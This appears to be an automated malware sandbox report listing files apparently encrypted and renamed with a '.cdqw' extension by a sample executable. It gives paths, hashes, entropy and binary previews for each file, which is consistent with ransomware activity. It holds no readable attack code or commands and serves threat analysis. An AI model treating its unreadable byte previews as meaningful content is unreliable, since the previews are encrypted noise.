C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877509161202218
Encrypted:	false
SSDEEP:	3072:PNwTeSqPqaAdNaXsZoxKI9ECm/a7d4wG3tm64rh9g/rFR0IXE07ZmandGCyN2mMz:PNwxJaLqWxH230IXE07ZmandGCyN2mMz
MD5:	5D6E2074BEA9A98F10FC2E7F3A37FC75
SHA1:	58EB3D0F4364472AE3E0F741FFCE791C3268BEFD
SHA-256:	23E615927CF266A176B9F1712944EFE3F302C58E580EC8E8449647B7F5D0CEF1
SHA-512:	AF77BEC81D76EA9BEB23E4B78723313E178B387695FF5CDEFE6C25E1B182D84ADDC719258432C76A31D5C88374D1569A8CB77982C19EFCA33F19E7E1CE3BF644
Malicious:	false
Preview:	%!AdooJ./(..w..wJ...........UT.t.U.....fr.T...T...E.T@.5.....U...7..F.~^..i......r..h.....R..f.c.$-.ON.w4.T:5/.....@2.o..?.Y..x.&.w..b.e...oH^.d.QZ..........Sll.M.=..N.qx+.=.s..7aIY.....I..3.M:.g..2...E.......^....}.....L/...JK..c./Q..gf...E}..[.......{1..2....h.:..X.m3.....X.....h..y<..F y....pSK9..m.@...l.%.~.y...$...6.$..`...t.!..j..6..<.....w;../..4....".^.....T.Y..+.?.}{..A.1..v......1...........?.'q....C..!R.LAl.wIP....^.qt.........FS.....f..kj.e...$=i9j...9...L.e.6.....gt#F.FK..u...(.s..m..a}.4a...7..!Y.&...:A...E!.0&r.+...RD....4.;.\|.Gn>bw@....T.^..../>@Y...'pd.t]..M...b.^.2..x_{.}....x.v#1PM.EM..........b.u[..&...;.....S@......j..8I\|/YAg....j.V.{..=....Nj....../k\|./.:A..H>@..ay..n._....@....\z.F.M.Gm1....R...n....F.?}q{..'...+s...q..Jp.v....L...x...../..'$.W.SU.D...,5....c4........3..d......5nIJ..U..w.qZ.]... [.i..........C..>....4...Rc.....I7....@k...i.k...[...0M.ZxT0.P...Q.."..kv$....Z(t.....].X...o`.f.....?.xlw..m..-...UC.U.5.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.983324089552515
Encrypted:	false
SSDEEP:	3072:heevj5Qx1t6zsi2zJMKUaehebVi7NsM95UqlX1d3UXdOoWiRns:hee7GLtzzJGaK2Vi7NzjXcns
MD5:	917A01CF724BC1AA454D9CD795FEE27C
SHA1:	7193456EB779A9F959C93D43DBF16C12EB6EAFAD
SHA-256:	9B22FCD6BBEACB3A80000763B219CB0D56660A1F193A03CEBD1CA1C3EF079790
SHA-512:	D18A5809D39C0D44659AFF3CE800A89E4BC255B8B4F151934A92563C1B8F861AE4D46D44AF71D6E6948169BBB585B66204A2E528C1330772BF7C8D11CBD01E1E
Malicious:	false
Preview:	Adobe.U7.....v+P..d......n.[!B...vT.@.W\.).p{/.O.~..y...^....Fo=m..1..m.......l<.P.;........%l......G..x..5.U..j..L...a...4.O..N..o...Izh,...f.W..X.3....H.'......8c......N\|.\|I.s......s.=J.....2..L..........a....X...4bz.(.D.....l>....D...-~._..CM...Z..<..A.....g.4.cw.3....>...?..I#<...}.z...]L.F..\|.....RJVMb.q......H.-.!9..\b...Z....Xg........>.w.+..-..E.....p....hxN .a?.....{.9$.E....e.M"'^<.D.V........'..c.Z;NB<1Az....@...d.=.3..m......;..Jv..d.....%.E.......Gr3.M..S.Qk.l....{.....I.7...n...RK.'H$!..\k...h..s%.PU...^.......Vrz:7..r..EeOD. ..":.F....q.U.8.L:.0.\..AJS..Z."..I.M$.nE.)....I......1.....E.N..+!..9..#P..I...9....6.i=._.t(M.VtM.`.......;.QX(.E......... ..U%p.....Z...05...=.?...u.{"4(....nb....f./......I.....m..w5..?..(.x..Ro..av.......@.[.;YQ..A.....R.y..p.p.(YPvy...!.1....~ns... ..~...\..&.C.=e..3......o8..b.)..E.e....Z..:..d/.x........y.<nr.Z.7...3.6\|....J...H..ZAv......1.&..._... ^.R.%g.....(y.Y.dX..T.Q_........C7

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.9971149204335905
Encrypted:	true
SSDEEP:	1536:d73WkxnAE+HRtMCngVY7XMgtGdSuvpvwYaBMcQ:8kxnATxlQdCq1wYaBMcQ
MD5:	5C105BB063842769B055D385EE17FE0E
SHA1:	9168B3FF6ED59CDD396E5617DBF04D80FCFB0BAB
SHA-256:	0C374F50651932AC669A3C7FCB46C7B3D0E69816C2C0246BB8B6F6E94CF521C6
SHA-512:	0403D839591C02458FC621A23D2BF631C8EDDCAF65C87130700E6F8DB7F8DCDDBAD8FE71475AE06E2E809767EFF38E87C553A1D0692194644DCCEAD862D8564A
Malicious:	true
Preview:	4.397.'..z/.k..x...I....t....."v.....~...../.YG.r.-......R.p....}..u....9.>^....[u].\U..Ht.<....`=.y..k...3.....h.W.....>V]G.Pw.nI..YHZw~.b].>.>4.l..@.....R.T.J."5.f'.....sv......0.D.3....R3...C......\|u.-K....x.Y.V.}..c.%..@.FI3H.k.nll...<.....<f}M......x.f.P..].&....A..4)._...M?..;f.m...s.-...0..v..f...S.I....YPy.x......k..sLJ5.7..Z..H]-.;....B9...G...\...Du.......CX......K....?.......s.T.VXU....O.1....;..~...,J.. _.<C\|....D...=....rv.x..K~...\|...f_......MI...oF.b4..H.......[m.3xm..b....e..0#.4.s..../..."...S.nW.Z..)...1.X.q.Z.x...xZek>.z...h'3.;).]B.]..k..O."...F.ba+..)@.O./...ub.'.S.$6..10..... ,.yQ....#...\....4..j.ZX.6.[fA.Rea[9..K..J\s....5'....{.FQ.......4Q.z.....Cj..j.m.[)!..n....bh...h9.#..F/.\|.z.?Om.X.T.!T..%......#Q"..0......?.0.....}/...H;..n.A>"..J.(.pU..}.=h.WZ.!...f...@Se`l."V..t...J.;%J[....7WD.&....D...>.$f.2..S...#..ex\|$0....X...P..\|wR_."......8w.<..{.l.e.i.-..1.....".&.> ]..._...v.&..D#....K...T.F.MZ#.7.i.>".K6..W..g.)2..J...

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996200559295577
Encrypted:	true
SSDEEP:	768:GM6n3UfWtBswxPHRx4IOTnmdQ/fMqdGZA7DTYWjwSsSl9/fWO52gC3Cxzgdzxvdu:GTtBsw1MIO7masQLsSl9WO2vdQP
MD5:	5C1D407FDC3E643988001841587B351B
SHA1:	46ED6EA2EF42F8F4BA00400FC424EAD00ED9C9A4
SHA-256:	B638E7EC6BC7BE3B94121C92DE0DC70F0535CF5CB953E3392B86C65F8F1C942B
SHA-512:	33D85A38C5A6843DAD410B586C05289FD036DF5F27A50DED18EE09ECF4ADCFF20874B5DA66907D6309607D58D1608072880A6DB5EFB3050C0E318B771DD9F24C
Malicious:	true
Preview:	SQLits.;Z....'.....x[..z.'.MW.M.5.j.........-h$..^.Y....m+.R6...............-O.t....J3...zL...,i:.Q.A?.pD?W....~.....HU.5k.f./db.1...C........Z....+.g.........^..../...=.e.8z.RJ...Eb6..B.....Y..{....jB........U/...F=t..3...~.........D..W}.$."IN.z;.y...s...~...Fk.....bH...#.7......u.s..).KD...f..I....V.Lu.._.. U..]=...7.....>q..\o9.../6..7.....U.R.q_..C...y....8..i,n./......jZjw.$.....)....wj%..5.!Du.u[.Mb....{...TE.GG.V0c.d@wVF.e,E......].D..]..PI....:...F...3..]!...."..@.......?....,J.....-..Ug....AE..k...{07...e x.Y...(d....z.y.....D..8........B).4..\k8..0[.t......R.{....>.~.D....Q....Q..`&b.{.;..PA-...{W...){.f.e.sY....<1.e...JMZ...o;.".:.0.J.......4...A.>..Z.&..x.2..W.2..ry^.O.z..z.......G%..P.!.y4..VW4../u..$-$v..n..<...G.Y.....r.0.G.I..\.6..9B?..I[....}2..{.r+.8I^gPn............D+..c_J.4&.g...I.i..].vo...6.u..$t...........C....P...}.S.JJ...\|.U2t........G...8...&....wg<..L.n.%m-[(....44q.....4.#..N.b5...-...AA...>L......_lN.My....x

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.234069561803938
Encrypted:	false
SSDEEP:	6:QKT4Dp6ZJ0rBsOEgXNvnO4PMZkuZs3NzRIw1Oao1iyJMxYOB6sowfw5XeWcii96Z:QKsw30DNFnO4PMZkr/Oao1iyCxYONoqa
MD5:	49A99A5FAD2949678AB4DE43D507E9A6
SHA1:	545FC023ED8C21955CD53D07109AE53C6C209BD9
SHA-256:	63918558AFC74CA59CFB52BEF39F2744553B5BC3D29D662F931F5C8928F866B2
SHA-512:	3587929B9A0E4A57B9DC53EEB13559FA2A09DD0CDF9BB979A802F85D1975E5AFC3AC33004CEB2BFD4B39A0A586D9947666770F6EECA4FC7EFFED7E1D510679EE
Malicious:	false
Preview:	1,"fu...Sk...$lO.......K..UqrJ9y......r..5.C.....x..m...7.;.....X......%L60..9....M..<.S...Ut..'M@.G!....`.....Q....!O..q...gt...........h..e1.'...h..{lG`..W..I.WkN.+.4I..t.2l5..,P..iu...ZB..0..wmi....wk.u}r..1...1.>....@.@][......mq....Z..Q..U.v.,...........-TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.857516972766632
Encrypted:	false
SSDEEP:	24:vM1PsqSv0gdViw5XefuHubWOEO7K2tcvRJ8lIMvvvbPlzXvRlpRLKMrYskmochqY:E1PsqQXdcoumHupeNX4vvLI42chq9yD
MD5:	604BC21F0DA087690D3EBB573290EAB4
SHA1:	87E2922988110E25D3E98BD261AF05D3415E6F90
SHA-256:	F1FEFA52CFB9E7EA077F124389F995704A1317A861BECD2AC12041413BB85712
SHA-512:	6C8CBFCB62AA55FB8BE9FF5014C016F9BF90231331BF04C1738A9436D106721E30FFB37F14A4947C6C876F79F438A07956D661325593B8077259B445F510DC9E
Malicious:	false
Preview:	1,"fu.k..}.\-DxE...t...:H..co.r6....{.6].".6...'..@...R!?...S..\|.`.W.YM..w...VZ.....L.F^.:.N..a5.5n.m....D...9..qC.).Ae.Y..k.......`.h.y..DD.y.m.,D.)."....L. Z.".....(._...zr..}(.c..W-y#..i.....f...l.u.W........f...:.S.Ss.....WY#.P.Z.[f.....; .g.....~e.o.jL..7.YA`...-j[..z...P.-8<?dc6........)..M......t..p.!..:};.[..=....m..9.D...mtt.-.{.vA...........1l8..5.cZj47...A.^........\..b.....[....0.T.....z.j..{..v.....qL.gs)..%..b..m.7b6.....O.vX..5..?a.......~~..E!.%...U.9\k-..E..OH.\|..9./r.....+...Q....{`.bC....mI5d"..,P.7.Z}e,T.}l.`...h).6..g'.......@.Oh..k....M\|..1mT.."/f..&^$T.........4$C6...h$..7\|N...1..o....h^0q....#.d#....;...ME/JY...q..%.-.h.......{....lz.{r.E.u.........l.....b..r.d.p.$.0.F....j{/......h......P..`..2.,?u.....P...=k4..C...#J....%..k%.\|.Sa.n%GI......i.o....9.O.?....$(....s.s1.......bq.=A.M.i.T]u.....)....z..u..%;...:.-.\-..&....D.q._..!..K..y...Kc..#. E.k.r=.@.&..a".\|#.3`e....9^TaG.'G>MY.....hI.E.&.G..3/^k.z?%*/..yv...&

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.899427957565781
Encrypted:	false
SSDEEP:	48:XEUvGONYXh2uYd52cUmhmUu6Abx9NDDLkd/pgtqcExyD:XEIGONIh1Kb3hM6ADdsd/YqcExa
MD5:	E4E1FD8D09EC6D0754ED2F498A1EA3E0
SHA1:	9BBDD2034D831BDBFE6CB034AE53E4E4C5035347
SHA-256:	2F875E22C25B5DF8FAD0238A26EE9CA749016BBD6C53CAE35665E61DC3F004A8
SHA-512:	C9770ED4B1FA9F6EFF00A129E085AB36D3E8B807243ED2A5589BB2853530B393561673AEE637122EB3996AF2A841BC8664D5C66201EBC41D2A4EE1C3F93A057C
Malicious:	false
Preview:	1,"fu.1y...J..33 ....b..A....H.x...u....M.....G.v..Y.d..dH....}..N'..........k.^.r..u@.....bW......{(.Oz...+g=.+...4.A.OLM.?@ =..Q.X...X.K9.,.....<.D.\|.......)iqA..#..^.N(...\|."{j.S.....K.....^."...p(.fE.4./..........l..........D6...`.r.....\_N..1HDr..i.Q.d....pY"...Cc....).t..w;.o....~.W.S....+..V...1].Hz..K..`....XK...y.;..M-..X`.(..=.K.O0..G`KhF...M..Q.. ..? //.>~xe.S........5..:...#.<.CZ3M...p.N..#F...Z..>..N....Z1h.^1..N..n.:.....6...A.....o.f........Fh?..S...by.Z./.) .8..^....tq\....TwA..h{R.....A..z...g..-E..3.".C..5OHrF.<..b..=f.....g...P`..X.tV.+8Ok..d.t.`.$]....}...2...t....9....Ln...?E.y.^xi4....g...R.f..._...e.P"bY/:.9...c......\|......W..8..Z.%..P]..!;...{..,...H=..Q.e.H.......P..R......<&.6?..a...*=...~..Z.s..E(..%9.5J....m...1.K.&o@&:.6....4..G./@.....0..jy di..5...c..N-.ym..!.\|..O.:jO....o. .%A.ls\|..#1H.C......F.....N...-.!.9.d....$.Y..7..)...).c......&U..b..Jk,.....m7..1m......p+.C....A...3.......,......0.O.....

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.7725774556518665
Encrypted:	false
SSDEEP:	12:Qn53pP8Qy3ldgMhts+DGyU99ueZWR5K/cmalKvLRIKLbotG22WyaX8LHEsfajfvF:I50Jhtns3IK/LkKyKP22WyVa6w1bD
MD5:	54399C8985D1F1C5D534BC73EEC59B85
SHA1:	974E3DC99E3F75075F74B3E64418D0ED032EBC06
SHA-256:	16973C8B47C9A807189152456530E6942E1DA27126D39E0A56DA34B674FCA91F
SHA-512:	4C33221CF60E8082EE4262C03B2026FB762BDA6559D1CB30AEB8E0A1CB8E7B1208C28243E27CD098CB5037AD2E3AE126B1F1421944A2A3FDA9EB06DCBEBCDB50
Malicious:	false
Preview:	1,"fuvsb...........U.5.}....e...........,..J....D.3-..q.Q}52.O....[.....$j......#....V.D.....$k......t9.>.........0].T..?.G8.I.j.I.e."..eP7.5.d.9q.N(.E8_....$G.Z...=..S..-...ukN...W!..4+)..@.=.C Wy.)/..S....z.<v]>-.%.....q.........\S..5.4.TM/X.S.0..I_.&......x;..35C.._<;..G\..d...:..of...KW....]....s.6.....tbz`.~.GH....W.J...(1.@....-............Wt.........=eV..........A.C...B.Y.#......]Q..\R...Z...m3.. f.....t.6.V?+.&QY.(..~H..A.@..Ke..DR..2...._.l..q.eV.s..?..<m..^B.R..........%.\|3......U8'.>.0.CF..T...s..uYyO0..v.....c...j5hE.:.6~8m...:..4..03.1o......{..#...5...2.u^..m.).U...........@...\|......'A.e.!.......H&.6.0. ..._.i..%..$..#...Mk.3.*..9..G.R...F}..6.E.c..O.^\.x.!..<.RY...[....+.o.p.E%.\|}...2M=..w.].2,\|..&.O..(.........(I...@a.<..~.. ..(..l.I.,?...!..hSZ5>.....n%]".......6.(.(Z........k.0.vU.u....e...B.V\|.x.....J....'..W.0x";.,TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.756844641592338
Encrypted:	false
SSDEEP:	24:8d8tToTQd2Bs0x5hScD3ubmv4AQTeqew1bD:DoO21xzScy44LxeyD
MD5:	E9C086E740806875B826FA25558CA2AB
SHA1:	54BAEB4C686D12F606ABC3E8923E68E86C0EBFC8
SHA-256:	6A4171A5AABCAF6F85AB3A3C711F4E4AD312DF7B7A5AF96EDDF480E54FD01332
SHA-512:	DC092E86D1620E96A964E78008A0CB5782E259450AD822AF23E0EF7EEF72BE3E78BD29453368B36A115CEF68A3312C4627968C08BF8475D372D00B8DA71B7D20
Malicious:	false
Preview:	1,"fuO.6.-.=^....9.4.&.....T.....M...%...&.H....p....g..._..~..}.D\|.?o+#..7..a.....$..jD.(..:....:c.t....#.V..t.._....,)...d..,R.....k}\|...I....x..W.^ ......."..a..sa.!...p.i...........:k..w.+@.Sr.K_=`H.G..z.{... .]......l.5......(...J..a......H7...!...U.\|........%Td9.....W.U.J.ma...... ..A....D.@O.......%.q.E;mm-C\|........ZY.s..s........\|..-...p..P.9.#..{.n.m.p.....N......q.y.9.N..o....m...%.."iw.\|E......"].iE/mj.w3..W.}s.......4GTi.uJ.T....M..kA.7.c....o....Z..N. ..iu.w.l.....G.7{......!7..e.A...khs.!.Q.....n..L.. ..hs....]....R..1}r.jw-..$.%...x"..s.ef.....;..HH..A0,V.&.rq.5.....H..Wl.._A...i...Y...........P...B..n....^B.A..t.RXk.u.FK..cd..........h...:.......ck...d..Y..z..[.}1?T.!...T..P.S8h5.B...Qi......@......S..[.hO._.X........t......v.g..7R..q.?G....0u. k6......T*......5...;#....G.T.....S......{oH...$[....`NG.y.6.w.A..I......m..X.>.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.9171053599498995
Encrypted:	false
SSDEEP:	48:KX9uQkDj96zzLMAFBJgG7GS6woDObBV+b+TFIrHIuyD:KM9Kzbi2GhAV+qTFIcua
MD5:	76D37D6AE05F0BAA99BC0E7162866FFA
SHA1:	F9DA48DE37B09923BED726FF0540A23FEF37ACDC
SHA-256:	D6DE636C14C39BD5C520F07715529A12808F6B12F4F74DE20D8AA5117AB70FD3
SHA-512:	7DFB2DAE4C3BB0E535A920B870DF549C8779EA8BF12DB8E8FB33C3A6DCE94594B9CA207424AA9C3574A825C1E36D7B1F8DD63A3E5709CFB0CEFD632AE24246A8
Malicious:	false
Preview:	<?xml....8.A....d....../....@...d..=.......,o.^~....G..... ..m.....0v.....I.y.Q......z.f..........D.#...R3w......s..n.F.vd..7..B.\v..-....^...Y3.S..9m'....h!...a...Y.a;...#%....!G....r...z.......T,.......o..`.Ev........\|r..?...QN.......=L .N..%la..g.5c.t.....k...>Z../.... %....Pdn.)MZ.....7..Tp./..j~..g.%cS...r.j...&.3.&...b..n7e...S.Hs.o...(:/..i...y.......BR...wf.Y.C$.16.w..b.n\.....p~\..{.i...^..Q....T.......\J.+......f?+.&S..RiQ....z...M.....)...J.......{...4.S..}.(./.-.].v..B..m..........o.m..0......X.K.......(2R.."P.`.....bx....jz.\|I.:.Q.'..Ki.I.:..2...L...X.NW9.. ....Ub..Z..z..2b7...)..(.n..p.S.#......}.I.kH.....U@9..]..i...v.w...`l...-vM......l.M..wAO...U}..N...n.>.bg.._s9...\|J_h..>..\|.h....G..J.....l..(..rF.5..1.VFY..[_/<.T.t..0..D.c..L.....3..d.~[<{..;...&.s...I8..Kc...Ls.....n.GHT.V...}.F.r...2...hC.!.W..q..cuea$.X..:.9...4....N.._8.o..YI.......?..<...[~.R9R...c.ZI.jG.]X..X.H...e`9..Ly....o..M..I...k...'@?.v.gb;.`\|..q.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978619557790703
Encrypted:	false
SSDEEP:	192:kajFCQGx4Ecl0IndRGRrc1/ENQoHk6B63Lp/wLdEMV4+Npl4mlIXaMy2n:k0FCj9cKIndRGRMENiLIK+NyKMy2n
MD5:	90DD3D99B37088DC0250FE1C79510462
SHA1:	23D8F203ABF9F32C6A3EC9DFAA7B578600519E62
SHA-256:	29394A296D513B823098D9686B187090B764F54353194EB16BF01C7A0952E5AA
SHA-512:	202C44F4D328A8FFA6B4E4F42FD6FC5655D005C71B55B5673F2AED5B180A0E02CF194FC198313BE23A4FDBB7A0C8FC26AC904ED8362205CAAA55FE922F47C7E7
Malicious:	false
Preview:	.3\|...r...,m...k...;...%=..:.._..ay...KK.>.......8../.;..}..,... ..1..K.V.M.'.p....Q.w.8.HY.......Z$.<..e.zBY6.X.G.uZ..2..s..G..U.2.H..;.M...9.10m......'.b8........g9.HQ.R......L..~zM.M.I.....sB.<.$j`..-...f...:...TZ...kp7!,.'\.@s.R..K.p.U......V../I....i.Wu.W..D.<.dsP.p......K.q'.....)..5...z..W.......k"..^....Q.Z6.J....4........"....]P.3...k~DD.J.r......~....q.\V.<..M.V.hy."onx>g.f.Dra..z\.%..zX..H.Jc......I.>.V....@..Q..0.....\...Sq...D......U...b;..Y.b).L......P..x....`...eF....~C.7.Y.r..,').....D-bv.9A..c.$.i...lH....G...ihI#.........}`mV......q3pxA].V..E.6..7y.>DA..+.t..s.Uk._e......zx8...\|.LH...`.I..t.Y..V.&Uz.Ng..+......R..T..C..b.._.G.K8..a.Z~.Q...L.T..]E..I..-T.U'.3......D...pJ:;..x."~..M..;......d..... ....-m<aR.........m..?......i..@.......-I.d..T.-.t.`...cd....]L.\|7..k.Y....i.,..@..2/Z5......v.....o..m.....m..(..@.(.-.....)..vB.M.U../e!$b..3.k.....0..V...d..Z9x.57.;X3.U'2.,.E..Z.)...;.o*.].fa...3+..?I..3.B....$.d.T....c...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.9639862555987846
Encrypted:	false
SSDEEP:	3072:mKiBBaZ8hH8Lfeyl8fe9pDifMVVlzBPmm6+aWc1jpyNKT61m5pKbdAeAWUuR:QBa4Yfof70VzB6fYj1
MD5:	8E5316C631604563A3BFD7B4A31D326D
SHA1:	1F6E5FE30F540AE064CB15A9AC64A955500A3A0A
SHA-256:	A19C5F4AA97ADE963CAAB6A5587A3672813291AB827CA4B1A16DCBD662899534
SHA-512:	09444F4AF305F38D682A493DE5754D6DC929D7C3F49A2C084199E5C18DB40F009210DDE2BE319BBC14B1F1655BDDC2061C88912771D68AEC1BBFC341EC5E655B
Malicious:	false
Preview:	....Y>D...S...+.......C%.j....TG..-.Y.....Z.H.Y..K..F1q........(i.cO.J._..w....gJ.....4.O."V..Wl.X..+...].C.I7..7...U..E...(-\..z..2....XI.P.........M-..;XDi.....$..A..><....W3.l..6x....qO...#/.....2.$\|Er...v.9......?[2......".............'zko..y.'..}d8l....'.B8.......j..........c...b".Y........>.yC...9...."?....w..Z.....c.?..;C...Y@......9..A....d).L..c.;[a.]?....,.}.....{.t"q4.....w3R..m..g.K.7....O..U......Q.+t..o...S....Q.>o.G.......@.s..O......E...:f.K........2..:.C...3....^..t.R...)..G._......>...n....9...N "..V..k...M........:..R.S.............Eo.:^..^.vV.......:....p@...N.......4I..1.R.F.D..A...CV..v.?...8\.........g...A-.8.:..&...L:d.CE4%...h.~.......4..$...5.z..n..\Ugc{...)..s...a..p7GU...6OI...c+v0...Fl..f1.=.B.....g]qE,...V../}b]bc..H.K7.5.$.#eb....m.-....l:\.j.Of...s%@....k..m:".jf..dh\|...-5...b.s.!...kMO...'j..{.Pm.D.....i.5...T.i4.....S.].]8!K..^q../*\|.....=......:5....r......V..'.fN3.....e5.PF.....+b.%.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2084303009924344
Encrypted:	false
SSDEEP:	3072:6KImLKVyeb9UN95nnQx3i1l+v+wETRGTj10GSl4edBWafXJ5hkR:6TIKYeuTnQxS1l+WSjeaUBJ5he
MD5:	44326A484188360DBA3D7A1CED2B4002
SHA1:	D52CA5CC2BFD124A21047E904292AF5DC198C469
SHA-256:	30013EC21080A8012D84A1FA3361EA2AC55C35A8073F80467BB7CFEF27C2EEB7
SHA-512:	54539D1F3A1D40BF03EE8C36D4A42825043FE50E390B9D29DAB4F0DDC2CBA87CB2E0D9467120CB5A25DB3A108D58CB119A0FB851D2662A7BEE548E7FCDFD20D5
Malicious:	false
Preview:	........J......4.V...RH.. <........R........T..07...u_...7.N.;.g.W^......M..3.G..x...j,.....M.........p.....w.r.....j...}J....<.....n.D.L.\Qg9..=..gP.(..D!.[.....;...i.....m....;U.$...l..6=S.4....3..W`D...@.....H(.....+..e.n:.l..@.....8.F...#..!.+......Z,:.~.6eio.U.....Vj.Zv....5..........Z...R.m...l.+.....M..K...LM..\|v.........}.t.C..4Mr.C.................6\u.N.t.E.'....K..o.r6.U.T...F.[.K.T..U.F`......eO\.&VX...)j.....~K...........?.q..bG%m..I....m....$./Y.s.IP...[1E.B.....Yl...V.t{....W..L+J...]..A.r..)U.A..pD...&.`p(OP....g...1..B.....fi.......NC.....\|'..I....R\|........[..u...l.nf.....B..>..Y y-.'D.....h.......Hx....%.uM5.r..h....G..:..4T.\|.~.`...p.o}..".....^W.&.h\.hE.lj....g.:......[.[.Z..u.h.Y.D..$.W+3..{...e.S.\....zK6...P_.L.0...o+..y`.M..m..v3.R....zgo.i<f\.`F..1....n....B.F..,...,).^.7:.T..r...........F......c#...5.......+rr.K.Z..U,+^yg..Ul..i;.m....T.w,..k...vOm._)..E.....O4...).....sj.....U7..vr.`6..9......\|..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207989206646085
Encrypted:	false
SSDEEP:	6144:yrUIjVYBrDqpg+Oj82arsUIwpM1F1WCMi:PZ2sjI3HM71WCMi
MD5:	DFE6E672C1DB4A50D75E8411615DAF28
SHA1:	361B748CCB98C6A684680437BA0493DF41A4CCF5
SHA-256:	1A9DE67767A88869998A4951D62A59A6C121C9BD3329AF7B432F1D47EC9840FA
SHA-512:	5F008C7B18F46C6276F055289F64C4C48B7C23B7B889D5420158904A751DFFFB4E5A1B1DB6FF0ACE7B06B1F46234BDC89AB250D46DA35DE06662C60F08A49E02
Malicious:	false
Preview:	.......Q}...g..`B&Z.h7.M..q).T`...".+:$....G<.z....2.3R.a..N.....y'... .1..e[..w.n.S........,.....n.2.....o.9.6..7s...R[.~K.F.....k..T...:'..[..0dN].e..f?..N4.YM...K.XHc._7T;...}......j.l...n..U..+..Z......^.....L.\|...L.!f..b~..I1.c....FeGak^..#u;G........cW.&..._W[hC}D...v.\....Y.}C.U.........i%..2..}.S=..U.2%.w4..QKY..o..n"...&?g.`S..q..........s.F.FI.(...E.?.S;!...Y4.....A..9.f.Lz....W..%.....G..3...}xf..R....b...,........N....B..c...$.;.....z..'{_.....cJ..h....o.9..Q...v.#......=..z.<E...[.m....."...-..3.(cm.[..@.0(i$.H.q...."7"..Xp.4:..M.}.....S.6UU..Q.C:..\|.$.Y...}.Qx...\|o...<.......!3.`..u&...;..1.8.......TD.j..._=....Q...Yk.x.S9..:..O....x{D?.=...:..v..O1....@..?D..yk.../..L.t....KUM.]...]z.:Z..-..m.....5Z,.....+y.z[n...(...Ab........9=..H..VW..r......7......+M..w'n..9q.k..Q.(\|.?!k.]^B_...>CZ..?S5P...!.g.H*....'...C~k...uI......?\|.p^.c..[J.L..rA.DM.m.;...........Sl..j`-.(...H.....K.1....`...0..= ..w..2.s....k..i&...r..L59

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207006896137282
Encrypted:	false
SSDEEP:	3072:a5PTjBAeBX+YYJAMtAgVW3IRX3SmjbGh/wdDatKjxN5ZbteJpj5MXDfdEMY:iPIfCVqW3WymHGhoyAxJIJh5Yqh
MD5:	E1EDF7C32DBAD1614FEB71FB861F99D3
SHA1:	7CB851C168F85145A19F845D11743FC8936A97AE
SHA-256:	020E9C654FD5891E7A2133E512E1F2694618593325F51228AC004DC6C6AB28DC
